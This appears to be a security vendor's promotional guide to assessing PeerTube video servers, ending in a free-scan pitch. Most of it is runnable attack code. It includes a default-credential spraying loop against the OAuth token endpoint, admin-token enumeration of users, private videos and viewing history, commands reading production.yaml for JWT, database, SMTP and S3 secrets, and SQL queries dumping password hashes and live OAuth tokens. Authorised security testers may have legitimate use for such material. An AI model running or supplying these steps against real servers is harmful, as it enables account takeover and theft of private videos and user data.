PeerTube is a widely deployed self-hosted video platform used by organizations and communities to host their own YouTube-like video infrastructure. Key assessment areas: the secret in production.yaml signs all JWT authentication tokens; admin@example.com/peertube is a common default credential in many deployments; PostgreSQL stores all user credentials, private video metadata, and viewing history; and the object storage credentials for S3-compatible video storage are exposed in configuration files. This guide covers systematic PeerTube security assessment.
# PeerTube — default credential testing and admin access
PT_URL="https://peertube.example.com"
# Common PeerTube default credentials
# admin@example.com / peertube — documented default in many guides
# root / peertube — alternative common default
for CRED in "admin@example.com:peertube" "root@example.com:peertube" "admin@example.com:password" "admin@localhost:peertube"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESPONSE=$(curl -s -X POST "${PT_URL}/api/v1/users/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=CLIENT_ID&client_secret=CLIENT_SECRET&grant_type=password&response_type=code&username=${EMAIL}&password=${PASS}" 2>/dev/null)
TOKEN=$(echo "$RESPONSE" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token','FAILED'))" 2>/dev/null)
echo "${EMAIL}/${PASS}: ${TOKEN}"
[ "$TOKEN" != "FAILED" ] && echo " SUCCESS!"
done
# Get OAuth client credentials first (required for token endpoint)
curl -s "${PT_URL}/api/v1/oauth-clients/local" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'client_id: {d.get(\"client_id\")}')
print(f'client_secret: {d.get(\"client_secret\")}')
print('Use these values in the /users/token request above')
" 2>/dev/null
# With admin token — list all users
ADMIN_TOKEN="your-access-token"
curl -s "${PT_URL}/api/v1/users?count=100&sort=createdAt" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total users: {d.get(\"total\")}')
for u in d.get('data',[])[:10]:
print(f' [{u.get(\"id\")}] {u.get(\"username\")} ({u.get(\"email\")}) role={u.get(\"role\",{}).get(\"label\")}')
" 2>/dev/null
# PeerTube API — private video access and enumeration
PT_URL="https://peertube.example.com"
ADMIN_TOKEN="your-access-token"
# List ALL videos including private and unlisted
curl -s "${PT_URL}/api/v1/videos?count=100&privacy=4" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Private videos: {d.get(\"total\")}')
for v in d.get('data',[])[:10]:
print(f' [{v.get(\"id\")}] {v.get(\"name\")}')
print(f' privacy={v.get(\"privacy\",{}).get(\"label\")} views={v.get(\"views\")}')
print(f' channel={v.get(\"channel\",{}).get(\"displayName\")}')
" 2>/dev/null
# Privacy levels: 1=Public, 2=Unlisted, 3=Private, 4=Internal
# Internal videos (visible to all instance members — may contain sensitive content)
curl -s "${PT_URL}/api/v1/videos?count=100&privacy=4" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Internal videos (any logged-in user can watch): {d.get(\"total\")}')
" 2>/dev/null
# User video history (requires admin or user token)
curl -s "${PT_URL}/api/v1/users/me/history/videos" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Viewing history entries: {d.get(\"total\")}')
for v in d.get('data',[])[:5]:
print(f' {v.get(\"video\",{}).get(\"name\")} at {v.get(\"createdAt\")}')
" 2>/dev/null
# ActivityPub — video and user enumeration (unauthenticated)
# /accounts/{username} — user ActivityPub profile
# /videos/watch/{uuid} — video ActivityPub object
curl -s -H "Accept: application/activity+json" \
"${PT_URL}/accounts/root" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Actor: {d.get(\"preferredUsername\")}')
print(f'Inbox: {d.get(\"inbox\")}')
print(f'Following: {d.get(\"following\")}')
" 2>/dev/null
# PeerTube PostgreSQL database and configuration extraction
# production.yaml — main PeerTube configuration
cat /var/www/peertube/config/production.yaml 2>/dev/null | \
grep -E "secret|password|host|username|key|smtp" | head -20
# secrets.peertube — JWT signing secret
# database.password — PostgreSQL password
# smtp.password — email delivery password
# object_storage.credentials.access_key_id — S3 access key
# object_storage.credentials.secret_access_key — S3 secret key
# redis.password — Redis password (if set)
# PostgreSQL extraction
psql -h localhost -U peertube -d peertube_prod 2>/dev/null << 'EOF'
-- All users with credentials
SELECT id,
username,
email,
password, -- bcrypt hash
role, -- 0=user, 1=moderator, 2=admin
"emailVerified",
"createdAt"
FROM "user"
ORDER BY role DESC, "createdAt"
LIMIT 20;
EOF
-- All videos including private
psql -h localhost -U peertube -d peertube_prod 2>/dev/null << 'EOF'
SELECT v.uuid,
v.name,
v.privacy, -- 3=private, 4=internal
v.description,
v.views,
v."createdAt",
a.uuid as file_uuid,
a."fileUrl", -- S3 URL or local path
a.size
FROM video v
LEFT JOIN "videoFile" a ON v.id = a."videoId"
WHERE v.privacy IN (3, 4) -- private and internal videos
ORDER BY v."createdAt" DESC
LIMIT 20;
EOF
-- OAuth tokens (persistent API access)
psql -h localhost -U peertube -d peertube_prod 2>/dev/null << 'EOF'
SELECT ot."accessToken",
ot."refreshToken",
ot.type,
u.username,
u.email,
ot."accessTokenExpiresAt"
FROM "oAuthToken" ot
JOIN "oAuthClient" oc ON ot."oAuthClientId" = oc.id
JOIN "user" u ON ot."userId" = u.id
WHERE ot."accessTokenExpiresAt" > NOW()
ORDER BY ot."createdAt" DESC
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default admin credential testing (admin@example.com/peertube) | POST /api/v1/users/token with common credential pairs — access_token grants full admin API access; enumerate all users, access private videos, modify instance configuration | Critical |
| secrets.peertube JWT signing key extraction | Read production.yaml secrets.peertube — forge JWT tokens for any user; full admin API access without valid credentials | Critical |
| Private and internal video enumeration | GET /api/v1/videos?privacy=3 and ?privacy=4 with admin token — complete inventory of private and internal videos with metadata and file URLs | High |
| PostgreSQL user table credential extraction | SELECT password FROM user — all bcrypt hashes and email addresses; OAuth token extraction for persistent API access | High |
| S3 object_storage credential extraction | Read production.yaml object_storage.credentials.secret_access_key — full access to video storage bucket; download all video files including private videos | High |
Ironimo tests PeerTube deployments for default admin credential testing (admin@example.com/peertube), secrets.peertube JWT signing key extraction, private and internal video enumeration, PostgreSQL user table bcrypt hash extraction, OAuth access token enumeration, S3 object_storage credential exposure, SMTP password extraction from production.yaml, ActivityPub user and video enumeration without authentication, user viewing history access, and Docker environment variable secrets exposure.
Start free scan